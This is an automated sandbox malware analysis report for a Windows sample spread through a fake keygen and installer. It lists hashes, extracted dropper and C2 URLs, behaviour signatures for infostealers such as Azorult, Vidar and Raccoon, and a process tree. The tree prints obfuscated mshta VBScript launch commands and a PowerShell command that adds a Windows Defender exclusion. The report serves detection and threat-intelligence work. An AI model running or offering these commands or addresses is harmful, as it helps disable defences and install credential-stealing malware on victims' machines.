Resubmissions
21-10-2021 11:49
211021-nzczcsacb2 1020-10-2021 14:55
211020-sagcpshbf9 1019-10-2021 14:57
211019-sb3bkaghgn 1019-10-2021 14:24
211019-rqq2eagab5 10Analysis
-
max time kernel
242s -
max time network
2706s -
platform
windows11_x64 -
resource
win11 -
submitted
20-10-2021 14:55
General
-
Target
malware.exe
-
Size
11.9MB
-
MD5
5544ca0d55ecf9e4f1a738f01bcebe84
-
SHA1
54cf5562fd1e992baff6060f5262cecf5449fe1c
-
SHA256
37aa2beb667b66b5b548722f4a5b7c72d01b191c538e4ad1acb9467cbc5d8727
-
SHA512
676bd327e881bfea4134e60c97cf67fb500dc261d2e3515762ed098e9e56eb558fbec159a1af593aafcdb53f4892e33a5a28fe895be89a9f90c340cde68ba71f
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
Family
azorult
C2
http://kvaka.li/1210776429.php
Extracted
Family
smokeloader
Version
2020
C2
http://gejajoo7.top/
http://sysaheu9.top/
rc4.i32
rc4.i32
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 5 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Suspicious use of NtCreateProcessExOtherParentProcess 32 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
Blocklisted process makes network request 64 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
-
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
-
Checks BIOS information in registry 2 TTPs 54 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Loads dropped DLL 62 IoCs
-
Modifies file permissions 1 TTPs 8 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 25 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 23 IoCs
-
Suspicious use of SetThreadContext 5 IoCs
-
Drops file in Program Files directory 21 IoCs
-
Drops file in Windows directory 7 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 26 IoCs
-
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 38 IoCs
-
Kills process with taskkill 6 IoCs
-
Modifies data under HKEY_USERS 43 IoCs
-
Modifies registry class 9 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
-
Suspicious behavior: SetClipboardViewer 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 33 IoCs
-
Suspicious use of SendNotifyMessage 27 IoCs
-
Suspicious use of SetWindowsHookEx 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\malware.exe"C:\Users\Admin\AppData\Local\Temp\malware.exe"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\Upfc.exeC:\Windows\System32\Upfc.exe /launchtype periodic /cv 4b9wfTbdeEC0lkVtqSpXLg.01⤵
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv dn8LwwbFRkCXo9mq/8woaw.0.21⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Новый текстовый документ.txt1⤵
-
C:\Users\Admin\Desktop\CrowdInspect.exe"C:\Users\Admin\Desktop\CrowdInspect.exe"1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.crowdstrike.com/inspect/replaceav3⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,10549893537558206419,2405008790516673471,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:24⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2156,10549893537558206419,2405008790516673471,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:34⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2156,10549893537558206419,2405008790516673471,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2728 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,10549893537558206419,2405008790516673471,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3764 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,10549893537558206419,2405008790516673471,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:14⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Новый текстовый документ.txt1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Новый текстовый документ.txt1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default1⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47182⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,5603003085392927317,9040470778885582577,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,5603003085392927317,9040470778885582577,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:32⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,5603003085392927317,9040470778885582577,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2628 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5603003085392927317,9040470778885582577,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3132 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5603003085392927317,9040470778885582577,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:12⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\Desktop\City_Car_Driving_Version_2_2_serial_number_keygen_by_aaocg.exe"C:\Users\Admin\Desktop\City_Car_Driving_Version_2_2_serial_number_keygen_by_aaocg.exe"1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exekeygen-step-6.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe" >> NUL4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md1_1eaf.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md1_1eaf.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\setup_x86_x64_install.exe"C:\Users\Admin\Desktop\setup_x86_x64_install.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue130c270d23c79.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue130c270d23c79.exeTue130c270d23c79.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13c1be0d8f62bc.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13c1be0d8f62bc.exeTue13c1be0d8f62bc.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3480 -s 16446⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13bbed6e0bb6.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13bbed6e0bb6.exeTue13bbed6e0bb6.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpt: CloSE ( CReaTeOBJEcT ( "WscRiPT.SHEll" ). rUn ( "C:\Windows\system32\cmd.exe /r tyPe ""C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13bbed6e0bb6.exe"" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if """" == """" for %v In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13bbed6e0bb6.exe"" ) do taskkill -iM ""%~nXv"" /F " , 0, truE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13a47d89c50.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13a47d89c50.exeTue13a47d89c50.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13530584f2459af.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13530584f2459af.exeTue13530584f2459af.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13530584f2459af.exeC:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13530584f2459af.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13d68628efddb1.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13d68628efddb1.exeTue13d68628efddb1.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\NRfbFRFDKDFfdQacQ9P2mtJL.exe"C:\Users\Admin\Pictures\Adobe Films\NRfbFRFDKDFfdQacQ9P2mtJL.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\0wTUhHlF518RdjA4ZAHHCLK9.exe"C:\Users\Admin\Pictures\Adobe Films\0wTUhHlF518RdjA4ZAHHCLK9.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\1bseLH2TaKdDbpm0H8c3dtlI.exe"C:\Users\Admin\Documents\1bseLH2TaKdDbpm0H8c3dtlI.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\ni9zJ9abQEh6AN2ZfTovynSC.exe"C:\Users\Admin\Pictures\Adobe Films\ni9zJ9abQEh6AN2ZfTovynSC.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\NzJLDfkNAyuA0ceLWk30qUgB.exe"C:\Users\Admin\Pictures\Adobe Films\NzJLDfkNAyuA0ceLWk30qUgB.exe"8⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\OEyjqf_EzyWJuFU333GVnmGc.exe"C:\Users\Admin\Pictures\Adobe Films\OEyjqf_EzyWJuFU333GVnmGc.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\uUL125blrsCkvTLguTGhRPFb.exe"C:\Users\Admin\Pictures\Adobe Films\uUL125blrsCkvTLguTGhRPFb.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\9nHSkYLUmEM2yuJrtWFlU7v5.exe"C:\Users\Admin\Pictures\Adobe Films\9nHSkYLUmEM2yuJrtWFlU7v5.exe"8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\9nHSkYLUmEM2yuJrtWFlU7v5.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\9nHSkYLUmEM2yuJrtWFlU7v5.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\9nHSkYLUmEM2yuJrtWFlU7v5.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\9nHSkYLUmEM2yuJrtWFlU7v5.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "9nHSkYLUmEM2yuJrtWFlU7v5.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\4L7yzR9yx5JZeD1GySeAPm_O.exe"C:\Users\Admin\Pictures\Adobe Films\4L7yzR9yx5JZeD1GySeAPm_O.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\1491156.exe"C:\Users\Admin\AppData\Roaming\1491156.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\5973217.exe"C:\Users\Admin\AppData\Roaming\5973217.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\8297568.exe"C:\Users\Admin\AppData\Roaming\8297568.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\1974349.exe"C:\Users\Admin\AppData\Roaming\1974349.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\2014094.exe"C:\Users\Admin\AppData\Roaming\2014094.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\jpzFyCe6K1ovdwhKtGYdu0sP.exe"C:\Users\Admin\Pictures\Adobe Films\jpzFyCe6K1ovdwhKtGYdu0sP.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9044 -s 2369⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\ITfg4vhCv0vH8juLx55O182y.exe"C:\Users\Admin\Pictures\Adobe Films\ITfg4vhCv0vH8juLx55O182y.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-V2M8B.tmp\ITfg4vhCv0vH8juLx55O182y.tmp"C:\Users\Admin\AppData\Local\Temp\is-V2M8B.tmp\ITfg4vhCv0vH8juLx55O182y.tmp" /SL5="$10786,506127,422400,C:\Users\Admin\Pictures\Adobe Films\ITfg4vhCv0vH8juLx55O182y.exe"9⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-RPN00.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-RPN00.tmp\DYbALA.exe" /S /UID=270910⤵
-
C:\Users\Admin\AppData\Local\Temp\a5-36b26-8e2-29b98-b90c21a806ae2\Lozhaviniry.exe"C:\Users\Admin\AppData\Local\Temp\a5-36b26-8e2-29b98-b90c21a806ae2\Lozhaviniry.exe"11⤵
-
C:\Users\Admin\Pictures\Adobe Films\K005PvAotDecpthU3kUrC8qd.exe"C:\Users\Admin\Pictures\Adobe Films\K005PvAotDecpthU3kUrC8qd.exe"8⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--b78Osr"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1d4,0x228,0x7fffd481dec0,0x7fffd481ded0,0x7fffd481dee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --mojo-platform-channel-handle=1864 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1588 /prefetch:211⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --mojo-platform-channel-handle=2120 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1576,2735081020797253152,11733138598776722121,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6792_1586201800" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2532 /prefetch:111⤵
-
